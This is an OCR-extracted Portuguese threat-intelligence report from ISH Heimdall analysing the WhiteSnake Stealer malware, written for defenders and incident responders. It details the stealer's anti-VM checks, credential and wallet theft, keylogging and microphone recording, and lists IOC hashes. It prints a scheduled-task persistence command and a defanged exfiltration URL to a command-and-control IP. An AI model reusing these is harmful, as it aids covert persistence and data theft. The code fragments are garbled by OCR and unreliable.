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A conta oficial do grupo de Threat Intelligence da ISH.
Conheg¢a mais do que fazemos aqui:

Acesse boletins diarios sobre agentes de ameacas,
malwares, indicadores de comprometimentos, TIPs e
outras informacgoes no site da ISH.

Boletins de Seguranca - Heimdall

Malware Ransomware

CONTAS DO FACEBOOK SAD INVADIDAS ALERTA PARA RETORNO DO MALWARE GRUPO DE RANSOMWARE CLOP
POR EXTENSOES MALICIOSAS DE EMOTET! EXPLORANDO VULNERABILIDADE PARA
NAVEGADORES NOVAS VITIMAS

0 malware Emotet apés permanecer alguns
Descoberto recentemente que atores meses sem operagdes retornou cou outro 0 grupo de Ransomware conhecido como
maliciosos utilizam extensdes de meio de propagagao, via OneNote e também ClOp esta explorando ativamente a
navegadores para realizar o roubo de cookies dos métodos ja conhecidos via Planilhas e vulnerabilidade conhecida como
de sessoes de sites como o Facebook. A Documentos do Microsoft Office CVE-2023-0669, na qual realizou o ataque a
extensdo maliciosa é oferecida como um diversas organizagdes e expds os dados no
anexo do ChatGPT. site de data leaks
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1 SUMARIO EXECUTIVO

A equipe de pesquisa de ameacas do SonicWall, identificou uma nova
variante do malware WhiteSnake Stealer. Este malware é uma ameaca
consideravel para individuos e empresas, pois tem a capacidade de extrair
informagdes sensiveis de sistemas vulneraveis. Isso inclui dados importantes
como informagdes de navegadores da web e carteiras de criptomoedas. A verséao
mais recente deste malware simplificou seu cdédigo, removendo o cdédigo de
descriptografia de string, tornando-o mais compreensivel.
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2 ANALISE DA AMEAGA

ApOds a inicializagao do arquivo, o malware realiza uma verificacdo para
identificar a presenga de um mutex. Isso é feito para prevenir a execucao
simultdnea de duas instdncias do mesmo malware. O valor do mutex ¢
determinado na configuracdo do malware. Caso seja identificado, o processo do
malware é encerrado.

Figura 1 - Executando mutex.

Neste malware, a funcionalidade AntiVM esté inativa por padrao (o indicador
é definido como 0). Caso o indicador seja ajustado para 1, o malware realiza uma
verificagcdo para detectar a existéncia de sandboxes. Ele faz isso utilizando a
consulta Windows Management Instrumentation (WMI) “SELECT * FROM
Win32_ComputerSystem”. Através desta consulta, o malware adquire as
propriedades “Modelo” e “Fabricante” e procura por qualquer propriedade que
contenha as strings especificadas como, virtual, vmbox, vmware, thinapp, VMXh,
innotek gmbh, tpvcgateway, tpautoconnsvc, vbox, kvm, red hat, gemu. Se
alguma string estiver presente, o stealer saira.

Figura 2 — Executando AntiVM.
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Apods averificacao Anti-VM, o malware aciona a funcéo Create(), que por sua
vez executa a funcdo ProcessCommands(). Esta ultima é projetada para coletar
informacdes sensiveis de varias fontes, incluindo navegadores da web, aplicativos
de mensagens, clientes FTP, carteiras de criptomoedas e outros. A funcéo
ProcessCommands() € encarregada de extrair informagdes de varios navegadores
da web , como “Cookies”, “Preenchimentos automaticos”, “Dados de login”,
“Histérico”, “Rede\Cookies” e “Dados da Web”. Além de extrair dados dos
navegadores da web, o WhiteSnake Stealer também tem a capacidade de capturar
carteiras de criptomoedas e extensdes de navegador de carteiras criptografadas. A
tabela a seguir mostra as carteiras de criptomoedas e extensdes de navegador que
séo alvo do malware.

Na versdo atual do WhiteSnake stealer, o recurso de persisténcia esta
desativado por padrao. Quando ativado, o stealer garante sua persisténcia ao se
copiar para o diretério %Appdata%, remover o arquivo original e criar uma tarefa
agendada para ser executada a cada minuto. O comando a seguir ilustra esse
processo:

e /C chcp 65001 && timeout /t 3 >NUL && schtasks/create/tn
“WhiteSnake_Stealer”/scMINUTE/tr
“C:\Users\Administrator\AppData\Local\RobloxSecurity\WhiteSnake_Steal
er.exe”/rILIMITED/f&&DEL/F/S/Q/A
“C:\Users\Administrator\Desktop\WhiteSnake_Stealer.exe” &&START “”
“C:\Users\Administrator\AppData\Local\RobloxSecurity\WhiteSnake_Steal
er.exe”

O nome da pasta “RobloxSecurity” ja esta pré-configurado no arquivo de
configuracao do stealer.

process.Start();

Environment.Exit(0);

Figura 3 - Cédigo do stealer para persisténcia e excluséo.
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O malware possui a habilidade de obter imagens do computador do usuario

afetado. Uma secdo do cddigo que permite essa funcionalidade é apresentada na
imagem abaixo.

totalBounds)

result - mom

Figura 4 — Captura de tela da maquina da vitima capturada.

Nesta edicdo do invasor WhiteSnake, o recurso de registro de teclas
(Keylogging) vem desativado como configuracéo inicial. Caso seja ativado ou o
atacante envie o comando “KEYLOGGER?”, ele registra as teclas pressionadas no
computador da vitima. Para cumprir essa funcao, o invasor necessita de APIs do
Windows, que sdo carregadas durante a execugdo. As APIs
UnhookWindowsHookEx, CallNextHookEx, GetKeyState, GetKeyboardState,
GetKeyboardLayout, ToUnicodeEx, MapVirtualKeyA sao utilizadas.

Figura 5 — Parte do cédigo responsavel pelo keylogging.

9|15



O

heimda}l_l

heimdall

security research

Quando o comando “MICROPHONE” ¢é enviado por um invasor, o
WhiteSnake ladrédo inicia uma acdo. Primeiramente, ele realiza a consulta WMI
“SELECT * FROM Win32_SoundDevice” para confirmar se ha um microfone
conectado ao dispositivo da vitima. Se o numero de microfones for maior que ‘0’, o
WhiteSnake inicia a gravacao do audio do microfone pelo tempo determinado.

flag9 = command[8] == "MICROPHON
(flag9)

flagl@ =|Microphone.
(flagie)

text

read( (9]

[] inArrays = one. ‘ (command[1]));
ten : "Microphone| " + T (inArray5));
(oH

[1 ( seconds)

[] result [el;
text
(seconds *

(500);
(text);

(text);

result;

Figura 6 — Cédigo responsavel pela gravagcao do microfone.

O WhiteSnake é notavel por seu terminal remoto, que permite a um invasor
iniciar uma sessao remota com o dispositivo infectado e executar uma série de
comandos especificos, interrompendo todas as operagbes e remove-se do
sistema, realizando uma operacao similar ao ‘ping’ e responde com um ‘pong’,
atualiza as credenciais de login, captura uma imagem da tela do dispositivo da
vitima, decifra dados sensiveis criptografados armazenados no sistema da vitima,
tirar foto utilizando a webcam, grava o audio do microfone da vitima, compacta o
diretério em um arquivo ZIP, extrai o conteudo de um arquivo ZIP no diretdrio atual,
realiza transferéncia de um arquivo para um endereco IP especificado na
configuracdo, recupera o conteudo de um arquivo especifico, exibe os arquivos
presentes no diretério atual, obtém uma lista dos processos em execucao, realiza
download e expde a porta selecionada, registra as teclas pressionadas, recupera
um arquivo de um local remoto e o executa.
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O stealer busca transmitir os dados pilhados da vitima para o Centro de
Comando e Controle (C&C) do atacante, ja incorporado no binario do préprio
WhiteSnake. Inicialmente, ele acopla ao C&C os dados roubados codificados em
Baseb64 - que incluem o nome de usuario, pais, entre outros - e, assim, forma uma
URL completa.
hxxp://45.61.137.41:8080/sendData?pk=MDEORTc3QkZFM0Q4QjI3NkI5NjNFNjgy
NUREQTZBNjk=&ta=RGVmMYXVsdA==&un=WW9InZXNo&pc=VOlOLUs5NzNHTkORS
zBB&co=SW5kaWE=&wa=MA==& ser=MA==}

Figura 7 - Realizagéao tentativa de exfiltrar informacgoes

A URL esta inativa, fazendo com que a funcao SendC2() retorne como falso.
Em seguida, um arquivo WSR é gerado pelo invasor. O nome deste arquivo €&
composto por cinco caracteres aleatdrios, seguidos por _username’,
@computername e _report. Este arquivo WSR é onde os dados exfiltrados séo
armazenados. O invasor, entdo, tenta mais uma vez carregar o arquivo de log do
WSR em um dos servidores mencionados no arquivo de configuragdo. Caso um
servidor esteja indisponivel ou a solicitagdo web falhe, o malware tentara o préoximo
IP listado.

Figura 8 - Realizacédo tentativa de exfiltrar log do WSR.
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3 RECOMENDACOES

Além dos indicadores de comprometimento elencados abaixo pela ISH,
poderdo ser adotadas medidas visando a mitigacdo da infeccdo do referido
malware, como por exemplo:

Antivirus

e O melhorcurso de agao é usar um software antivirus de boa reputagao para
remover o malware. Evite formatar o dispositivo de armazenamento, a
menos que tenha feito uma cépia de seguranca dos seus dados e nao tenha
outra opgéo.

Software Atualizado

e Certifigue-se de que o seu sistema operativo, navegadores e outros
programas estejam sempre atualizados. Isso ajuda a corrigir
vulherabilidades conhecidas que os malwares podem explorar.

Anexos de Email

e Evite abrir anexos de e-mail suspeitos ou de remetentes desconhecidos.
Muitos malwares, incluindo o WhiteSnake, sdo distribuidos através de
anexos maliciosos.

Links Suspeitos

e Na&o clique em links em e-mails, mensagens ou sites que parecam
suspeitos. Os malwares frequentemente se espalham através de links
maliciosos.

Backup

e Facacodpiasde segurangaregulares dos seus dadosimportantes. Isso ajuda
a proteger contra perda de dados em caso de infecgéo.
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4 INDICADORES DE COMPROMISSOS

A ISH Tecnologia realiza o tratamento de diversos indicadores de
compromissos coletados por meio de fontes abertas, fechadas e também de
analises realizadas pela equipe de seguranca Heimdall. Diante disto, abaixo
listamos todos os Indicadores de Compromissos (IOCs) relacionadas a analise
do(s) artefato(s) deste relatoério.

Indicadores de compromisso do artefato
md5: 835241c48301a5dc36f99cf457841941
sha1: a7e4ca83dd2f310a5d8eed4f2bf77ed16922c36f
sha256: 94048358360fd46766cdf1d4f487c1c61a391f97ebc10704c388170ae4e66b88
File name: id5530defb1059020302de8d9.exe

Tabela 1 -Indicadores de Compromissos de artefatos

Obs: Os links e enderecos IP elencados acima podem estar ativos; cuidado ao realizar a
manipulacao dos referidos 10Cs, evite realizar o clique e se tornar vitima do conteudo
malicioso hospedado no loC.
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